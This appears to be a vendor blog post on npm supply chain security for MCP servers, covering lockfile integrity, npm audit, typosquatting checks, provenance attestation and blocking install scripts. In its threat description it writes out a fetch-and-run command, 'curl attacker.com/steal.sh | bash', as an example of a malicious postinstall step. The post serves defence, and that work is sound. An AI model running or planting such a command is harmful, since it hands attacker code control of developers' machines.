Supply Chain Security · June 2026 · 14 min read
MCP Server Supply Chain Security: npm Lockfile Integrity, Typosquatting Detection, and Provenance Attestation
The most dangerous vulnerability in an MCP server is often not in the code you wrote — it's in the code you installed. A compromised @anthropic-ai/mcp-sdk lookalike, a dependency with a malicious postinstall script, or a legitimate package with a supply-chain compromise delivers arbitrary code execution inside your server process on install. This post covers the full npm supply chain attack surface for MCP servers and a layered defense: lockfile integrity, vulnerability scanning, typosquatting detection, provenance attestation, and install-time script blocking.
Why MCP servers are high-value supply chain targets
MCP servers run with the same OS-level privileges as the process that spawned them, which is often a Claude Code session running as the logged-in user. A compromised MCP server can read files, make network requests, execute shell commands, and access every secret in the environment — the same capabilities that make MCP servers powerful for legitimate use are exactly what an attacker wants after a supply chain compromise.
The attack surface has four layers:
Typosquatting
Packages with names one character off from legitimate packages: @anthropic-a1/sdk, mcpsdk (no dash), @anthropic-ai/mcp-sdl. Published to the public registry, waiting for a fat-finger install.
Dependency confusion
Internal packages published to the public registry with a higher version number than the private registry version. npm's resolution algorithm picks the higher version — from the attacker, not your org.
Malicious postinstall scripts
Legitimate packages can run arbitrary shell commands in preinstall, postinstall, and prepare scripts. A compromised dependency runs a reverse shell or exfiltrates your environment on npm install.
Account takeover of a dependency maintainer
An attacker compromises the npm account of a popular package's maintainer, publishes a malicious patch version. The package itself was legitimate; the new version isn't. SemVer's ^ ranges pick it up automatically on the next install.
The install-time execution window: npm script execution during install runs at the same privilege level as the developer's shell — or in CI, the service account running the build. For MCP servers installed via claude plugin install or run by a Claude Code extension, that's the logged-in user's full filesystem access. A malicious postinstall script that runs curl attacker.com/steal.sh | bash fires before you've loaded a single line of your own code.
Layer 1: Use npm ci, never npm install, in CI and production builds
npm install resolves the dependency tree from your package.json ranges each run, can update package-lock.json, and can install versions different from what you tested. npm ci is deterministic: it reads only the lockfile, refuses to run if the lockfile is out of sync with package.json, and deletes node_modules before installing. This means the exact package versions that pass your tests are the exact versions that reach production.
# In CI (GitHub Actions, Docker builds, etc.) npm ci # Verifies that package-lock.json is consistent with package.json # Fails the build if they diverge instead of silently resolving # Installs exactly the versions pinned in package-lock.json
The lockfile verification is the key guarantee: package-lock.json records the resolved version, the tarball URL, and an integrity hash (a SHA-512 of the tarball) for every package. When npm ci installs, it downloads each tarball and verifies the hash. If the hash doesn't match — because the registry served a different tarball for the same version — installation fails.
# Inspect the integrity hash in package-lock.json
cat package-lock.json | node -e "
const lock = JSON.parse(require('fs').readFileSync('/dev/stdin','utf8'));
const pkg = lock.packages['node_modules/@modelcontextprotocol/sdk'];
console.log('version:', pkg.version);
console.log('integrity:', pkg.integrity);
console.log('resolved:', pkg.resolved);
"
# Expected output (values will differ for your version):
# version: 1.2.1
# integrity: sha512-abc123...
# resolved: https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.2.1.tgz
Commit your lockfile. A package-lock.json that isn't committed provides zero supply chain protection — every developer and CI run re-resolves from scratch. The lockfile must be committed, reviewed in PRs for unexpected version changes, and regenerated only intentionally (e.g., npm update followed by npm audit).
Layer 2: npm audit — catch known CVEs in your dependency tree
The npm registry maintains a vulnerability database. npm audit checks every package in your resolved dependency tree against it and returns severity-rated findings.
# Run audit — exits non-zero on any finding at or above moderate npm audit # Exit non-zero only for high/critical (common CI threshold) npm audit --audit-level=high # Machine-readable JSON for scripted handling npm audit --json | jq '.vulnerabilities | to_entries[] | select(.value.severity == "critical") | .key' # Fix automatically (only for semver-compatible upgrades) npm audit fix # Fix including breaking version bumps (review changes!) npm audit fix --force
In a GitHub Actions workflow for an MCP server, gate every PR on npm audit:
# .github/workflows/security.yml
name: Supply chain audit
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- run: npm ci
- run: npm audit --audit-level=high
# Fails build on any HIGH or CRITICAL finding
- name: Check for critical findings
run: |
CRITICAL=$(npm audit --json | jq '.metadata.vulnerabilities.critical // 0')
if [ "$CRITICAL" -gt "0" ]; then
echo "CRITICAL vulnerabilities found: $CRITICAL"
npm audit --json | jq '.vulnerabilities | to_entries[] | select(.value.severity == "critical") | {name: .key, via: .value.via[0].title}'
exit 1
fi
Distinguish advisory severity from actual exploitability. npm audit reports transitive dependencies — a CRITICAL advisory in a package your CLI tool never calls at runtime may have zero actual risk. Use npm audit --json to read the fixAvailable field and the dependency path, then make a deliberate decision about each finding rather than blanket-suppressing everything.
Layer 3: Typosquatting detection with package name validation
Typosquatting attacks work because package names look visually similar. The defenses are (1) reviewing every direct dependency addition carefully, and (2) running automated similarity checks against your expected package list.
// typosquat-check.js — run before any new npm install
// Checks that installed package names match a curated allowlist
// and reports any package name within edit-distance 2 of a trusted name
import { execSync } from 'child_process';
import { createRequire } from 'module';
const TRUSTED_PREFIXES = [
'@modelcontextprotocol/',
'@anthropic-ai/',
'zod',
'express',
'fastify',
'@types/',
];
// Simple Levenshtein distance for name similarity
function editDistance(a, b) {
const dp = Array.from({ length: a.length + 1 }, (_, i) =>
Array.from({ length: b.length + 1 }, (_, j) => i === 0 ? j : j === 0 ? i : 0)
);
for (let i = 1; i <= a.length; i++) {
for (let j = 1; j <= b.length; j++) {
dp[i][j] = a[i-1] === b[j-1]
? dp[i-1][j-1]
: 1 + Math.min(dp[i-1][j], dp[i][j-1], dp[i-1][j-1]);
}
}
return dp[a.length][b.length];
}
// Get installed packages
const lock = JSON.parse(execSync('cat package-lock.json').toString());
const installed = Object.keys(lock.packages)
.filter(k => k.startsWith('node_modules/') && !k.includes('node_modules/', 13))
.map(k => k.replace('node_modules/', ''));
// Check each installed package against trusted list
const KNOWN_LEGITIMATE = new Set([
'@modelcontextprotocol/sdk', '@anthropic-ai/sdk', 'zod', 'express',
'fastify', 'better-sqlite3', 'jsonwebtoken', 'node-fetch',
// Add your complete expected dependency list here
]);
for (const pkg of installed) {
if (!KNOWN_LEGITIMATE.has(pkg)) {
console.warn(`UNKNOWN PACKAGE: ${pkg} — verify this is intentional`);
// Check similarity to trusted packages
for (const trusted of KNOWN_LEGITIMATE) {
if (editDistance(pkg, trusted) <= 2) {
console.error(`TYPOSQUAT RISK: ${pkg} is within edit-distance 2 of trusted package ${trusted}`);
process.exit(1);
}
}
}
}
This is a starting point — for production MCP servers, also check for:
- Homoglyph substitution — Unicode characters that look like ASCII:
аnthropíc(Cyrillic а, accented í) vsanthropic. Normalize to ASCII before the edit-distance check. - Scope confusion —
anthropic-ai/sdk(unscoped, missing the@) is a different package from@anthropic-ai/sdk. - Underscore/hyphen swaps —
mcp_sdkvsmcp-sdk. These pass an edit-distance check of 1 but are distinct packages.
Layer 4: Provenance attestation — verify who built the package
npm's provenance feature (available since npm 9.5) links a published package to the specific GitHub Actions workflow that built it. A package published with provenance includes a signed attestation: this tarball was produced by this repository at this commit by this workflow.
# Check if a package has provenance attestation npm audit signatures @modelcontextprotocol/sdk # Verify provenance of every package in your tree npm audit signatures # Expected output for a package with provenance: # audited 1 package in 0.5s # 1 package has a verified registry signature # 1 package has a verified attestation
# In your CI pipeline — fail if any production package lacks signature verification
npm audit signatures --json | node -e "
const result = JSON.parse(require('fs').readFileSync('/dev/stdin', 'utf8'));
const missing = result.audit?.missing ?? [];
if (missing.length > 0) {
console.error('Packages without verified signatures:', missing.join(', '));
process.exit(1);
}
console.log('All packages have verified signatures.');
"
When publishing your own MCP server to npm, enable provenance to give your users the same guarantee:
# package.json — configure for provenance publishing
{
"name": "@your-org/mcp-server-example",
"publishConfig": {
"provenance": true,
"access": "public"
}
}
# GitHub Actions publish workflow — provenance requires OIDC token
# .github/workflows/publish.yml
name: Publish to npm
on:
release:
types: [published]
jobs:
publish:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # required for provenance
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
registry-url: 'https://registry.npmjs.org'
- run: npm ci
- run: npm test
- run: npm publish --provenance
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
Provenance only covers the publisher's claim. A package with provenance confirms that the published tarball matches what was built by the named GitHub repository and workflow. It doesn't confirm the repository code is safe — only that the tarball wasn't modified after publication. Combine provenance with code review and npm audit for defense-in-depth.
Layer 5: Block install-time script execution
The most aggressive supply chain attacks execute during npm install via preinstall, postinstall, and prepare lifecycle scripts. If none of your legitimate dependencies need install scripts, you can disable them entirely.
# .npmrc — disable script execution during install # Place in your project root (or ~/.npmrc for global effect) ignore-scripts=true # Now npm ci / npm install will NOT run any lifecycle scripts # Packages that need build steps (native addons, TypeScript compile) will fail # Check which of your deps need scripts: npm install --ignore-scripts 2>&1 | grep -i "warn.*scripts"
Most pure-JavaScript MCP server dependencies don't need install scripts. Native addons (better-sqlite3, bcrypt) do need them for compilation. For those, use a curated allowlist:
# .npmrc — safer alternative: allowlist specific packages that need scripts
# (not yet a first-class npm feature — use a preinstall check script instead)
# package.json — custom preinstall guard
{
"scripts": {
"preinstall": "node scripts/verify-install-scripts.js"
}
}
// scripts/verify-install-scripts.js
// Reads all installed packages and flags any that declare install scripts
// unless they're on the allowlist
import { readFileSync, readdirSync, existsSync } from 'fs';
const ALLOWED_SCRIPT_PACKAGES = new Set([
'better-sqlite3', // native addon — compilation required
'node-gyp', // build tool
'esbuild', // platform-specific binary download
// Add others explicitly after review
]);
const nodeModules = 'node_modules';
if (!existsSync(nodeModules)) process.exit(0);
for (const pkg of readdirSync(nodeModules)) {
const pkgJsonPath = `${nodeModules}/${pkg}/package.json`;
if (!existsSync(pkgJsonPath)) continue;
const pkgJson = JSON.parse(readFileSync(pkgJsonPath, 'utf8'));
const scripts = pkgJson.scripts ?? {};
const hasInstallScript = ['preinstall','install','postinstall','prepare'].some(k => k in scripts);
if (hasInstallScript && !ALLOWED_SCRIPT_PACKAGES.has(pkg)) {
console.error(`UNEXPECTED INSTALL SCRIPT in ${pkg}:`, JSON.stringify(scripts));
process.exit(1);
}
}
Layer 6: Dependency pinning vs range flexibility
The default package.json format uses caret ranges (^1.2.3) which allow any non-breaking update. This is convenient but means a newly published 1.2.4 with a supply chain compromise is automatically used on the next install in a fresh environment without a lockfile.
| Range specifier | Allows | Supply chain risk |
|---|---|---|
^1.2.3 | Any 1.x.y ≥ 1.2.3 | High — picks up malicious minor/patch automatically |
~1.2.3 | Any 1.2.y ≥ 1.2.3 | Medium — picks up malicious patches automatically |
1.2.3 | Exactly 1.2.3 | Low — but blocks security patches too |
1.2.3 + lockfile | Exactly 1.2.3, hash-verified | Lowest — lockfile integrity check prevents hash mismatch |
The practical recommendation for MCP servers: use caret ranges in package.json (for dependency compatibility), commit the lockfile (for deterministic installs), run npm ci in CI (for hash verification), and update dependencies deliberately on a schedule (monthly, with npm audit before and after).
# Planned dependency update workflow # 1. Check what's outdated npm outdated # 2. Update one package at a time, not all at once npm update zod # 3. Run tests npm test # 4. Audit the new versions npm audit # 5. Review the lockfile diff in git before committing git diff package-lock.json | grep '^\+.*"integrity"' | head -20
What SkillAudit checks for in supply chain review
When SkillAudit scans an MCP server's repository, the supply chain audit axis checks for:
package-lock.json committed — dependency resolution is non-deterministic and integrity-unchecked on every install.
npm audit, with no documented mitigation.
npm install instead of npm ci — lockfile integrity is never verified in the build.
postinstall) present in transitive dependencies outside the expected native-addon set.
npm audit step in CI — vulnerability findings accumulate undetected between releases.
* or >=0) — any future version, including malicious ones, satisfies the range.
Quick audit checklist
package-lock.jsonis committed and in sync withpackage.json- CI uses
npm ci, notnpm install npm audit --audit-level=highis a required CI step, not optional- Direct dependencies are pinned or use caret ranges (not
*orlatest) - Every dependency in
package.jsonhas been reviewed and intentionally added - Install scripts (
postinstall) in dependencies are explicitly allowed by review - Package names have been checked for typosquat similarity to
@anthropic-ai/and@modelcontextprotocol/ - Dependencies are updated on a schedule (monthly recommended) with audit before and after
- Published packages use npm provenance (
npm publish --provenance) - A dependency allowlist exists and is checked in CI
Run SkillAudit on your MCP server's GitHub URL to get an automated supply chain review as part of the full security audit. The scan checks lockfile presence, CVE density, install scripts, and dependency name similarity in a single pass.